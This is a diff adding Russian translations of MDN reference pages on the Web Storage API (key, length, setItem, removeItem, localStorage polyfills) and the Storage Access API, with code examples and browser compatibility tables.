+tags:
+  - API
+  - Storage
+  - Web Storage
+  - Справка
+  - Хранилище
+translation_of: Web/API/Storage/key
+---
+<p>{{APIRef()}}</p>
+
+<p>Метод key() интерфейса {{domxref("Storage")}} получает числовое значение n и возвращает имя n-ого ключа из хранилища.  Порядок ключей определяется браузером.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aKeyName</em> = <em>storage</em>.key(<em>key</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>Ключ</em></dt>
+ <dd>Целое нумерованное значение представляющее номер ключа, которого Вы хотите получить. Индексация начинается с нуля. </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{domxref("DOMString")}} , содержащий имя ключа.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция перебирает все ключи из хранилища.</p>
+
+<pre class="brush: js">function forEachKey(callback) {
+  for (var i = 0; i &lt; localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Реальный пример Вы можете увидеть на <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Стандарты">Стандарты</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Стандарт</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-key', 'key()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно  очищена по требованию OS, обычно это происходит, когда мало доступного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html
new file mode 100644
index 0000000000..70722e9e11
--- /dev/null
+++ b/files/ru/web/api/storage/length/index.html
@@ -0,0 +1,122 @@
+---
+title: Storage.length
+slug: Web/API/Storage/length
+tags:
+  - API
+  - Storage
+  - Web Storage
+  - Справка
+translation_of: Web/API/Storage/length
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Свойство length интерфейса {{domxref("Storage")}} доступно только для чтения и возвращает число с количеством элементов, которые хранятся в объекте <span style="font-family: consolas,monaco,andale mono,monospace;">Storage</span> на данный момент.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>aLength</em> = <em>storage</em>.length;</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Число</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция добавляет три элемента с данными в локальное хранилище для домена, на котором выполняется код и возвращает число элементов в хранилище:</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.length; // return 3
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: чтобы посмотреть выполнение кода вживую, посетите страницу <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-length', 'length')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/localstorage/index.html b/files/ru/web/api/storage/localstorage/index.html
new file mode 100644
index 0000000000..e0a2cd72e7
--- /dev/null
+++ b/files/ru/web/api/storage/localstorage/index.html
@@ -0,0 +1,145 @@
+---
+title: LocalStorage
+slug: Web/API/Storage/LocalStorage
+translation_of: Web/API/Window/localStorage
+---
+<p><code>localStorage</code> это аналог <code><a href="/en-US/docs/Web/API/sessionStorage">sessionStorage</a></code>, с некоторыми same-origin правилами, но значения хранятся постоянно (в отличии от sessions). <code>localStorage</code> появился в Firefox 3.5.</p>
+
+<div class="note"><strong>Примечание:</strong> Когда браузер переходит в режим приватного просмотра, создается новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.</div>
+
+<pre class="brush:js" style="font-size: 14px;">// Сохраняет данные в текущий local store
+localStorage.setItem("username", "John");
+
+// Извлекает ранее сохраненные данные
+alert( "username = " + localStorage.getItem("username"));</pre>
+
+<p class="note"><code>localStorage</code>'s позволяет постоянно хранить некоторую полезную информацию, включая счетчики посещения страницы, как показано в примере <a href="http://codepen.io/awesom3/pen/Hlfma">this tutorial on Codepen</a>.</p>
+
+<h4 id="Совместимость" style="line-height: 18px; font-size: 1.28571428571429rem;">Совместимость</h4>
+
+<p><code>Storage</code> objects недавно добавлен в стандарт. Он может отсутствовать в некоторых браузерах. Вы можете работать с этой технологией добавив в страницу один из двух скриптов, которые представлены ниже. <code>localStorage</code> object реализуется програмно, если нет встроенной реализации.</p>
+
+<p>Этот алгоритм является точной имитацией <code>localStorage</code> object, но для хранения использует cookies.</p>
+
+<pre class="brush:js" style="font-size: 14px;">if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "clear", {
+      value: function () {
+        if(!aKeys.length) { return; }
+        for (var sKey in aKeys) {
+          document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+        }
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length &gt; 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx &lt; aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length &gt; 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+</pre>
+
+<div class="note"><strong>Примечание:</strong> Максимальныйe размер данных, которые могут быть сохранены, ограничен возможностями cookies. Используйте functions <code>localStorage.setItem()</code> и <code>localStorage.removeItem()</code> для добавления, изменения, или удаления ключа. Использование прямого присвоения <code>localStorage.yourKey = yourValue;</code> и <code>delete localStorage.yourKey;</code> для установки и удаления ключа <strong>не безопасно с этим кодом</strong>. Вы также можете изменить это имя (вместо window.localStorage прописать другое имя) и использовать объект для управления document's cookies, не обращая внимания на localStorage object.</div>
+
+<div class="note"><strong>Примечание:</strong> Если изменить строку <code style="background: rgb(204, 204, 204);">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> на: <code style="background: rgb(204, 204, 204);">"; path=/"</code> (и изменить имя объекта), он превратится в <code>sessionStorage</code> polyfill больше, чем в <code>localStorage</code> polyfill. Однако эта реализация будет хранить общие значения для всех вкладок и окон браузера (and will only be cleared when all browser windows have been closed), в то время как полностью совместимая <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> реализация хранит значения</span><span style="line-height: 1.5em;"> to the current browsing context only.</span></div>
+
+<p>Here is another, less exact, imitation of the <code>localStorage</code> object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer &lt; 8 (<strong>tested and working even in Internet Explorer 6</strong>). It also makes use of cookies.</p>
+
+<pre class="brush:js" style="font-size: 14px;">if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions <code>localStorage.getItem()</code>, <code>localStorage.setItem()</code>, and <code>localStorage.removeItem()</code> to get, add, change, or remove a key. The use of method <code>localStorage.yourKey</code> in order to get, set, or delete a key <strong>is not permitted with this code</strong>. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.</div>
+
+<div class="note"><strong>Note:</strong> By changing the string <code style="background: rgb(204, 204, 204);">"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"</code> to: <code style="background: rgb(204, 204, 204);">"; path=/"</code> (and changing the object's name), this will become a <code>sessionStorage</code> polyfill rather than a <code>localStorage</code> polyfill. However, this implementation will share stored values across browser tabs and windows (and will only be cleared when all browser windows have been closed), while a fully-compliant <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: normal;">sessionStorage</span><span style="line-height: 1.5em;"> implementation restricts stored values to the current browsing context only.</span></div>
+
+<h4 id="Compatibility_and_relation_with_globalStorage" style="line-height: 18px; font-size: 1.28571428571429rem;">Compatibility and relation with globalStorage</h4>
+
+<p class="note"><code>localStorage</code> is also the same as <code>globalStorage[location.hostname]</code>, with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and <code>localStorage</code> being an instance of <code>Storage</code> as opposed to <code>globalStorage[location.hostname]</code> being an instance of <code>StorageObsolete</code> which is covered below. For example, <a class="external" href="http://example.com" rel="freelink">http://example.com</a> is not able to access the same <code>localStorage</code> object as <a class="link-https" href="https://example.com" rel="freelink">https://example.com</a> but they can access the same <code>globalStorage</code> item. <code>localStorage</code> is a standard interface while <code>globalStorage</code> is non-standard so you shouldn't rely on these.</p>
+
+<p>Please note that setting a property on <code>globalStorage[location.hostname]</code> does <strong>not</strong> set it on <code>localStorage</code> and extending <code>Storage.prototype</code> does not affect <code>globalStorage</code> items; only extending <code>StorageObsolete.prototype</code> does.</p>
+
+<h4 id="Storage_format">Storage format</h4>
+
+<p><code>Storage</code> keys and values are both stored in the UTF-16 <a href="/en-US/docs/Web/API/DOMString">DOMString</a> format, which uses 2 bytes per character.</p>
+
+<p> </p>
diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html
new file mode 100644
index 0000000000..d5b1a628e4
--- /dev/null
+++ b/files/ru/web/api/storage/removeitem/index.html
@@ -0,0 +1,70 @@
+---
+title: Storage.removeItem()
+slug: Web/API/Storage/removeItem
+tags:
+  - API
+  - Storage
+  - Справка
+translation_of: Web/API/Storage/removeItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Если методу <code>removeItem()</code> интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключем. </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>storage</em>.removeItem(<em>keyName</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em><u>названиеКлюча</u></em></dt>
+ <dd>{{domxref("DOMString")}} содержит в себе название ключа.</dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p><em>Метод не возвращает значений.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}</pre>
+
+<div class="note">
+<p><strong>Примечание: </strong> чтобы увидеть использование этой функции на реальном примере, загляните в <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Стандарты">Стандарты</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Стандарт</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Storage.removeItem")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></p>
diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html
new file mode 100644
index 0000000000..981eedf10f
--- /dev/null
+++ b/files/ru/web/api/storage/setitem/index.html
@@ -0,0 +1,130 @@
+---
+title: Storage.setItem()
+slug: Web/API/Storage/setItem
+tags:
+  - API
+  - Storage
+  - Web Storage
+  - localStorage
+  - Справка
+translation_of: Web/API/Storage/setItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Если методу <span style="font-family: consolas,monaco,andale mono,monospace;">setItem()</span> интерфейса {{domxref("Storage")}} передать ключ и значение, то в хранилище будет добавлено соответствующее ключу значение, либо, если запись уже есть в хранилище, то значение по ключу будет обновлено.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>storage</em>.setItem(<em>названиеКлюча</em>, <em>значениеКлюча</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>названиеКлюча</em></dt>
+ <dd>Является строкой {{domxref("DOMString")}} содержащей название ключа, значение которого будет добавлено/обновлено.</dd>
+ <dt><em>значениеКлюча</em></dt>
+ <dd>Является строкой {{domxref("DOMString")}} содержащей значение ключа, которое будет добавлено/обновлено.</dd>
+</dl>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p><em>Метод не возвращает значений.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующая функция создает три элемента с данными в хранилище.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации <a href="https://github.com/mdn/web-storage-demo">Web Storage</a>.</p>
+</div>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-setitem', 'setItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></p>
diff --git a/files/ru/web/api/storage_access_api/index.html b/files/ru/web/api/storage_access_api/index.html
new file mode 100644
index 0000000000..f9c79c5704
--- /dev/null
+++ b/files/ru/web/api/storage_access_api/index.html
@@ -0,0 +1,93 @@
+---
+title: Storage Access API
+slug: Web/API/Storage_Access_API
+tags:
+  - API
+  - Reference
+  - Storage
+  - Storage Access API
+translation_of: Web/API/Storage_Access_API
+---
+<div>{{DefaultAPISidebar("Storage Access API")}}{{seecompattable}}</div>
+
+<p><span class="seoSummary">The Storage Access API provides a way for embedded, cross-origin content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s <em>first-party</em> storage).</span> The API provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent.</p>
+
+<h2 id="Концепции_и_использование">Концепции и использование</h2>
+
+<p>Most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. These restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context.</p>
+
+<p>The semantics around third-party cookie blocking policies in particular differ from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context.</p>
+
+<p>These cookie blocking policies are known to break embedded cross-origin content that requires access to its first-party storage. As an example, federated logins often require access to authentication cookies stored in first-party storage, and will require the user to sign in on each site separately (or completely break) if those cookies are not available. In the case of breakage, site owners have often encouraged users to add their site as an exception or to disable the policy entirely. As a consequence, users who wish to continue to interact with embedded content are forced to greatly relax their blocking policy for resources loaded from all embedded origins and possibly across all websites.</p>
+
+<p>The Storage Access API is intended to solve this problem; embedded cross-origin content can request unrestricted access to its first-party storage on a site-by-site basis via the {{domxref("Document.requestStorageAccess()")}} method, and check whether it already has access via the {{domxref("Document.hasStorageAccess()")}} method.</p>
+
+<p>In addition, sandboxed {{htmlelement("iframe")}}s cannot be granted storage access by default for security reasons. The API therefore also adds the <code>allow-storage-access-by-user-activation</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox">sandbox token</a>. The embedding website needs to add this to allow storage access requests to be successful, along with <code>allow-scripts</code> and <code>allow-same-origin</code> to allow it to call the API, and execute in an origin that can have cookies:</p>
+
+<pre class="brush: html notranslate">&lt;iframe sandbox="allow-storage-access-by-user-activation
+                 allow-scripts
+                 allow-same-origin"&gt;
+  ...
+&lt;/iframe&gt;</pre>
+
+<p>The API is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. This is enforced through the following constraints:</p>
+
+<ul>
+ <li>Access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click. This also prevents embedded content on the page from spamming the browser or user with excessive access requests.</li>
+ <li>Origins that have never been interacted with as a first party do not have a notion of first-party storage. From the user’s perspective, they only have a third-party relationship with that origin. Access requests are automatically denied if the browser detects that the user hasn’t interacted with the embedded content in a first-party context recently (in Firefox, "recently" is "within 30 days").</li>
+</ul>
+
+<p>The browser may decide to involve the user in the decision of whether to grant an incoming storage access request. Specifics regarding the lifetime of a storage grant and the circumstances under which the browser may decide to inform the user are currently being worked through and will be announced once ready.</p>
+
+<h2 id="Подсказки_для_пользователя">Подсказки для пользователя</h2>
+
+<p>When <code>requestStorageAccess()</code> is called by an embedded, cross-origin document, the user agent may choose to involve the user in the decision of whether to grant storage access to the requesting origin. Prompting heuristics currently vary across the two implementers of the Storage Access API — Safari shows prompts for all embedded tracking content that has not previously received storage access, while Firefox only prompts users after a tracking origin has requested storage access on more than a threshold number of sites. See {{domxref("Document.requestStorageAccess()")}} for more details.</p>
+
+<h2 id="Отичия_реализации_в_Safari">Отичия реализации в Safari</h2>
+
+<p>Although the API surface is the same, websites using the Storage Access API should expect differences in the level and extent of storage access they receive between Firefox and Safari. This is caused by differences in the storage access policies implemented in the two browsers. Design properties unique to Firefox are summarized here:</p>
+
+<ul>
+ <li>If the embedded origin <code>tracker.example</code> has already obtained first-party storage access on the top-level origin <code>foo.example</code>, and the user visits a page from <code>foo.example</code> embedding a page from <code>tracker.example</code> again in less than 30 days, the embedded origin will have storage access immediately when loading.</li>
+ <li>If a page from top-level origin <code>foo.example</code> embeds more than one {{htmlelement("iframe")}} from <code>tracker.example</code>, and one of those <code>&lt;iframe&gt;</code>s uses the Storage Access API in order to obtain storage access successfully, all other iframes from <code>tracker.example</code> on <code>foo.example</code> top-level origins will immediately gain storage access as well, without needing to call <code>requestStorageAccess()</code> separately.</li>
+ <li>If an embedded page from <code>tracker.example</code> has previously successfully obtained storage access on top-level origin <code>foo.example</code>, all embedded subresources from <code>tracker.example</code> on <code>foo.example</code> (e.g. scripts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send Cookie headers and honor incoming {{httpheader("Set-Cookie")}} headers.</li>
+ <li>In Firefox, when the promise returned from <code>requestStorageAccess()</code> is resolved, the embedded page will gain access to its entire first-party storage, not just cookies.  This includes access to APIs such as <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/API/Cache">DOM Cache</a>, and so on.</li>
+ <li>In Firefox, the storage access grants are phased out after 30 calendar days passing, whereas in Safari the storage access grants are phased out after 30 days of browser usage passed without user interaction. This is currently a limitation of the Firefox implementation, which we may address in a future version.  In Safari, successful use of the storage access API resets this counter.</li>
+</ul>
+
+<p>Документация новой политики доступа к хранилищу Firefox по блокировки отслеживающих кук <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy#Storage_access_grants">детально описана</a> в разделе предоставления доступа к хранилищу.</p>
+
+<h2 id="Методы_Storage_Access_API">Методы Storage Access API</h2>
+
+<p>API методы реализованы в интерфейсе {{domxref("Document")}}:</p>
+
+<dl>
+ <dt>{{domxref("Document.hasStorageAccess()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves with a boolean value indicating whether the document has access to its first-party storage.</dd>
+ <dt>{{domxref("Document.requestStorageAccess()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves if the access to first-party storage was granted, and rejects if access was denied.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: User interaction propagates to the Promise returned by both of these methods, allowing the callers to take actions that require user interaction without requiring a second click from the user. For example, a caller could open a pop-up window from the resolved Promise without triggering Firefox’s pop-up blocker.</p>
+</div>
+
+<h2 id="Расширение_&lt;iframe>_sandbox">Расширение &lt;iframe&gt; sandbox</h2>
+
+<p>{{htmlelement("iframe")}} <code>sandbox</code> появился новый признак, <code>allow-storage-access-by-user-activation</code>, который позволяет изолированому <code>&lt;iframe&gt;</code> использовать Storage Access API для запроса доступа к хранилищу.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>API на стадии обсуждения — стандартизация не начата. Сейчас Вы можете ознакомиться с подробной спецификацией API в блоге Apple <a href="https://webkit.org/blog/8124/introducing-storage-access-api/">Introducing Storage Access API</a> и <a href="https://github.com/whatwg/html/issues/3338">WHATWG HTML issue 3338 — Proposal: Storage Access API</a>.</p>
+
